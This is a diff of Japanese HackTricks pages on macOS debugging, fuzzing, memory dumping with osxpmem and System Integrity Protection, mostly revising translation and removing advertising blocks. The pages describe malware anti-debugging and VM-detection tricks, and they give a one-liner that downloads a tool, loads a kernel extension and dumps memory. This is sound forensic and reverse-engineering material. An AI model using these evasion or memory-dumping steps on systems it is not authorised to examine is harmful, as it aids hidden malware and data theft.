@ -378,7 +365,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
|||
|
||||
これはカーネルトレース機能です。文書化されたコードは **`/usr/share/misc/trace.codes`** にあります。
|
||||
|
||||
`latency`、`sc_usage`、`fs_usage`、および `trace` のようなツールは内部でこれを使用します。
|
||||
`latency`、`sc_usage`、`fs_usage`、および `trace` などのツールは内部でこれを使用します。
|
||||
|
||||
`kdebug` とインターフェースするために、`sysctl` が `kern.kdebug` 名前空間を介して使用され、使用する MIB は `bsd/kern/kdebug.c` に実装された関数を持つ `sys/sysctl.h` にあります。
|
||||
|
||||
|
@ -439,7 +426,7 @@ Kperf には sysctl MIB テーブルもあります:(root として)`sysct
|
|||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) は、アプリケーションのパフォーマンスを監視し、メモリリークを特定し、ファイルシステムのアクティビティを追跡するために使用される Xcode の開発者ツールの一部です。
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) は Xcode の開発者ツールの一部で、アプリケーションのパフォーマンスを監視し、メモリリークを特定し、ファイルシステムのアクティビティを追跡するために使用されます。
|
||||
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
|
@ -457,7 +444,7 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
|
||||
## PT\_DENY\_ATTACH <a href="#page-title" id="page-title"></a>
|
||||
|
||||
[**このブログ記事**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモンをデバッグする** 方法の例を見つけることができます。
|
||||
[**このブログ記事**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモン** を **デバッグ** する方法の例を見つけることができます。
|
||||
|
||||
### lldb
|
||||
|
||||
|
@ -479,7 +466,7 @@ lldb内で、`process save-core`を使用してプロセスをダンプします
|
|||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) コマンド</strong></td><td><strong>説明</strong></td></tr><tr><td><strong>run (r)</strong></td><td>実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで継続します。</td></tr><tr><td><strong>process launch --stop-at-entry</strong></td><td>エントリポイントで停止する実行を開始します</td></tr><tr><td><strong>continue (c)</strong></td><td>デバッグ中のプロセスの実行を続けます。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>次の命令を実行します。このコマンドは関数呼び出しをスキップします。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。</td></tr><tr><td><strong>finish (f)</strong></td><td>現在の関数(“フレーム”)内の残りの命令を実行し、戻って停止します。</td></tr><tr><td><strong>control + c</strong></td><td>実行を一時停止します。プロセスが実行(r)または続行(c)されている場合、これはプロセスを現在実行中の場所で停止させます。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p><code>b main</code> #mainと呼ばれる任意の関数</p><p><code>b <binname>`main</code> #バイナリのメイン関数</p><p><code>b set -n main --shlib <lib_name></code> #指定されたバイナリのメイン関数</p><p><code>breakpoint set -r '\[NSFileManager .*\]$'</code> #任意のNSFileManagerメソッド</p><p><code>breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'</code></p><p><code>break set -r . -s libobjc.A.dylib</code> #そのライブラリのすべての関数でブレーク</p><p><code>b -a 0x0000000100004bd9</code></p><p><code>br l</code> #ブレークポイントリスト</p><p><code>br e/dis <num></code> #ブレークポイントを有効/無効にする</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #ブレークポイントコマンドのヘルプを取得</p><p>help memory write #メモリへの書き込みのヘルプを取得</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/memory address></strong></td><td>メモリをヌル終端の文字列として表示します。</td></tr><tr><td><strong>x/i <reg/memory address></strong></td><td>メモリをアセンブリ命令として表示します。</td></tr><tr><td><strong>x/b <reg/memory address></strong></td><td>メモリをバイトとして表示します。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>これは、パラメータで参照されるオブジェクトを印刷します</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、"print object" (po) コマンドを介して表示する必要があります。poが意味のある出力を生成しない場合は、<code>x/b</code>を使用してください。</p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込みます<br>memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込みます</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #現在の関数を逆アセンブル</p><p>dis -n <funcname> #関数を逆アセンブル</p><p>dis -n <funcname> -b <basename> #関数を逆アセンブル<br>dis -c 6 #6行を逆アセンブル<br>dis -c 0x100003764 -e 0x100003768 #1つのアドレスから別のアドレスまで<br>dis -p -c 4 #現在のアドレスから逆アセンブルを開始</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # x1レジスタの3コンポーネントの配列を確認</td></tr><tr><td><strong>image dump sections</strong></td><td>現在のプロセスメモリのマップを印刷します</td></tr><tr><td><strong>image dump symtab <library></strong></td><td><code>image dump symtab CoreNLP</code> #CoreNLPのすべてのシンボルのアドレスを取得</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
**`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタには**メソッドの名前**がヌル終端の(“C”)文字列として格納されます。lldbを介して名前を印刷するには、次のようにします:
|
||||
**`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタにはヌル終端の(“C”)文字列として**メソッドの名前**が保持されます。lldbを介して名前を印刷するには、次のようにします:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -493,12 +480,12 @@ lldb内で、`process save-core`を使用してプロセスをダンプします
|
|||
|
||||
#### VM検出
|
||||
|
||||
* コマンド**`sysctl hw.model`**は、**ホストがMacOSの場合**は"Mac"を返しますが、VMの場合は異なる値を返します。
|
||||
* コマンド**`sysctl hw.model`**は、**ホストがMacOSの場合**は"Mac"を返しますが、VMの場合は異なるものを返します。
|
||||
* **`hw.logicalcpu`**と**`hw.physicalcpu`**の値を操作することで、一部のマルウェアはVMかどうかを検出しようとします。
|
||||
* 一部のマルウェアは、MACアドレス(00:50:56)に基づいて**VMware**であるかどうかを**検出**することもできます。
|
||||
* 簡単なコードを使用して、**プロセスがデバッグされているかどうか**を確認することも可能です:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //プロセスがデバッグされています }`
|
||||
* **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを防ぎます。
|
||||
* **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを**防ぎます**。
|
||||
* **`sysctl`**または**`ptrace`**関数が**インポートされているかどうか**を確認できます(ただし、マルウェアは動的にインポートする可能性があります)。
|
||||
* この書き込みで指摘されているように、「[デバッグ防止技術の克服:macOS ptraceバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\
|
||||
“_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグ対象が**PT\_DENY\_ATTACH**を使用していることを示す兆候です_”
|
||||
|
@ -509,7 +496,7 @@ lldb内で、`process save-core`を使用してプロセスをダンプします
|
|||
|
||||
* `kern.coredump` sysctlが1に設定されている(デフォルト)
|
||||
* プロセスがsuid/sgidでない場合、または`kern.sugid_coredump`が1である(デフォルトは0)
|
||||
* `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコアダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。
|
||||
* `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコードダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。
|
||||
|
||||
これらのケースでは、コアダンプは`kern.corefile` sysctlに従って生成され、通常は`/cores/core/.%P`に保存されます。
|
||||
|
||||
|
@ -519,7 +506,7 @@ lldb内で、`process save-core`を使用してプロセスをダンプします
|
|||
|
||||
ReportCrashは**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存します**。クラッシュレポートには、**開発者がクラッシュの原因を診断するのに役立つ情報**が含まれています。\
|
||||
ユーザーごとのlaunchdコンテキストで**実行されているアプリケーションや他のプロセス**の場合、ReportCrashはLaunchAgentとして実行され、ユーザーの`~/Library/Logs/DiagnosticReports/`にクラッシュレポートを保存します。\
|
||||
デーモン、システムlaunchdコンテキストで**実行されている他のプロセス**および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。
|
||||
デーモンや、システムlaunchdコンテキストで**実行されている他のプロセス**、および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。
|
||||
|
||||
クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを把握するのに役立ちます**。
|
||||
```bash
|
||||
|
@ -552,7 +539,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
```
|
||||
### Internal Handlers
|
||||
|
||||
**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法:**
|
||||
**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法を知るために:**
|
||||
|
||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||
|
@ -589,7 +576,7 @@ CLIツールに対応しています。
|
|||
|
||||
macOS GUIツールで「**そのまま動作します**」。いくつかのmacOSアプリには、ユニークなファイル名、正しい拡張子、サンドボックスからファイルを読み取る必要があるなど、特定の要件があります(`~/Library/Containers/com.apple.Safari/Data`)...
|
||||
|
||||
いくつかの例:
|
||||
いくつかの例:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -617,43 +604,31 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### More Fuzzing MacOS Info
|
||||
### より多くのFuzzing MacOS情報
|
||||
|
||||
* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
* [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben)
|
||||
* [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler)
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**OS Xインシデントレスポンス:スクリプティングと分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
* [**Macマルウェアの技術:悪意のあるソフトウェアを分析するためのガイド**](https://taomm.org/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,44 @@
|
|||
# macOSメモリーダンピング
|
||||
# macOS メモリダンプ
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポート</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出してハッキングテクニックを共有してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## メモリーアーティファクト
|
||||
## メモリアーティファクト
|
||||
|
||||
### スワップファイル
|
||||
|
||||
`/private/var/vm/swapfile0`などのスワップファイルは、物理メモリがいっぱいのときに**キャッシュとして機能**します。物理メモリにもう余裕がない場合、そのデータはスワップファイルに転送され、必要に応じて物理メモリに戻されます。swapfile0、swapfile1などの名前の複数のスワップファイルが存在する可能性があります。
|
||||
スワップファイル(例:`/private/var/vm/swapfile0`)は、**物理メモリが満杯のときのキャッシュとして機能します**。物理メモリに空きがなくなると、そのデータはスワップファイルに転送され、必要に応じて物理メモリに戻されます。スワップファイルは複数存在する可能性があり、名前はswapfile0、swapfile1などとなります。
|
||||
|
||||
### ハイバネーションイメージ
|
||||
### ハイバネートイメージ
|
||||
|
||||
`/private/var/vm/sleepimage`にあるファイルは、**ハイバネーションモード**中に重要です。OS Xが休止状態に入るとき、**メモリからのデータはこのファイルに保存**されます。コンピューターを起動すると、システムはこのファイルからメモリデータを取得して、ユーザーが前回終了したところから続行できるようにします。
|
||||
`/private/var/vm/sleepimage`にあるファイルは、**ハイバネーションモード**の際に重要です。**OS Xがハイバネートするとき、メモリのデータはこのファイルに保存されます**。コンピュータが復帰すると、システムはこのファイルからメモリデータを取得し、ユーザーは前回の作業を続けることができます。
|
||||
|
||||
現代のMacOSシステムでは、セキュリティ上の理由からこのファイルが通常暗号化されているため、回復が難しいことに注意してください。
|
||||
現代のMacOSシステムでは、このファイルは通常、セキュリティ上の理由から暗号化されており、復元が難しいことに注意が必要です。
|
||||
|
||||
* sleepimageの暗号化が有効かどうかを確認するには、`sysctl vm.swapusage`コマンドを実行します。これにより、ファイルが暗号化されているかどうかが表示されます。
|
||||
|
||||
### メモリープレッシャーログ
|
||||
### メモリプレッシャーログ
|
||||
|
||||
MacOSシステムにおけるもう1つの重要なメモリ関連ファイルは**メモリープレッシャーログ**です。これらのログは`/var/log`にあり、システムのメモリ使用状況やプレッシャーイベントに関する詳細な情報を含んでいます。これらは、メモリ関連の問題の診断やシステムが時間の経過とともにメモリをどのように管理しているかを理解するのに特に役立ちます。
|
||||
MacOSシステムにおけるもう一つの重要なメモリ関連ファイルは、**メモリプレッシャーログ**です。これらのログは`/var/log`にあり、システムのメモリ使用状況やプレッシャーイベントに関する詳細情報を含んでいます。メモリ関連の問題を診断したり、システムが時間の経過とともにメモリをどのように管理しているかを理解するのに特に役立ちます。
|
||||
|
||||
## osxpmemを使用したメモリーダンプ
|
||||
## osxpmemを使用したメモリダンプ
|
||||
|
||||
MacOSマシンでメモリをダンプするためには、[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)を使用できます。
|
||||
MacOSマシンのメモリをダンプするには、[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)を使用できます。
|
||||
|
||||
**注意**: 以下の手順は、Intelアーキテクチャを持つMacにのみ適用されます。このツールは現在アーカイブされており、最後のリリースは2017年に行われました。以下の手順でダウンロードしたバイナリは、Apple Siliconが2017年には存在しなかったため、Intelチップをターゲットにしています。arm64アーキテクチャ向けにバイナリをコンパイルすることも可能かもしれませんが、自分で試してみる必要があります。
|
||||
**注意**:以下の手順は、IntelアーキテクチャのMacにのみ適用されます。このツールは現在アーカイブされており、最後のリリースは2017年でした。以下の手順でダウンロードしたバイナリは、2017年にはApple Siliconが存在しなかったため、Intelチップを対象としています。arm64アーキテクチャ用にバイナリをコンパイルすることが可能かもしれませんが、自分で試す必要があります。
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
もし次のエラーが見つかった場合:`osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 以下の手順で修正できます:
|
||||
もしこのエラーが表示された場合: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 修正するには次のようにします:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**その他のエラー**は、「セキュリティとプライバシー --> 一般」で**kextの読み込みを許可**することで修正できるかもしれません。単に**許可**してください。
|
||||
**他のエラー**は、「セキュリティとプライバシー --> 一般」で**kextの読み込みを許可する**ことで修正できるかもしれません。**許可してください**。
|
||||
|
||||
また、次の**ワンライナー**を使用してアプリケーションをダウンロードし、kextをロードしてメモリをダンプすることもできます:
|
||||
この**ワンライナー**を使用して、アプリケーションをダウンロードし、kextを読み込み、メモリをダンプすることもできます:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と実践:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と実践:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **基本情報**
|
||||
|
||||
macOSの**システム整合性保護(SIP)**は、最も特権のあるユーザーでさえも重要なシステムフォルダーに対して不正な変更を行うことを防ぐために設計されたメカニズムです。この機能は、保護された領域でのファイルの追加、変更、削除などのアクションを制限することにより、システムの整合性を維持する上で重要な役割を果たします。SIPによって保護されている主なフォルダーは次のとおりです:
|
||||
**システム整合性保護 (SIP)** は、macOSにおいて、最も特権のあるユーザーでさえも重要なシステムフォルダーに対して不正な変更を行うことを防ぐために設計されたメカニズムです。この機能は、保護された領域内のファイルを追加、変更、または削除する行動を制限することによって、システムの整合性を維持する上で重要な役割を果たします。SIPによって保護されている主なフォルダーは以下の通りです:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.conf`**にある設定ファイルで定義されています。このファイル内では、アスタリスク(\*)で始まるパスは、厳格なSIP制限の例外として示されています。
|
||||
SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.conf`** にある設定ファイルで定義されています。このファイル内では、アスタリスク(\*)で始まるパスは、厳格なSIP制限の例外として示されています。
|
||||
|
||||
以下の例を考えてみてください:
|
||||
```javascript
|
||||
|
@ -47,16 +34,16 @@ SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.co
|
|||
* /usr/local
|
||||
* /usr/share/man
|
||||
```
|
||||
このスニペットは、SIPが一般的に**`/usr`**ディレクトリを保護している一方で、特定のサブディレクトリ(`/usr/libexec/cups`、`/usr/local`、および`/usr/share/man`)では修正が許可されていることを示しています。これは、パスの前にアスタリスク(\*)が付いていることからわかります。
|
||||
このスニペットは、SIPが一般的に**`/usr`**ディレクトリを保護している一方で、特定のサブディレクトリ(`/usr/libexec/cups`、`/usr/local`、および`/usr/share/man`)では修正が許可されていることを示しています。これは、それらのパスの前にアスタリスク(\*)があることによって示されています。
|
||||
|
||||
ディレクトリまたはファイルがSIPによって保護されているかどうかを確認するには、**`ls -lOd`**コマンドを使用して、**`restricted`**または**`sunlnk`**フラグの存在を確認できます。例えば:
|
||||
ディレクトリまたはファイルがSIPによって保護されているかどうかを確認するには、**`ls -lOd`**コマンドを使用して**`restricted`**または**`sunlnk`**フラグの存在を確認できます。例えば:
|
||||
```bash
|
||||
ls -lOd /usr/libexec/cups
|
||||
drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups
|
||||
```
|
||||
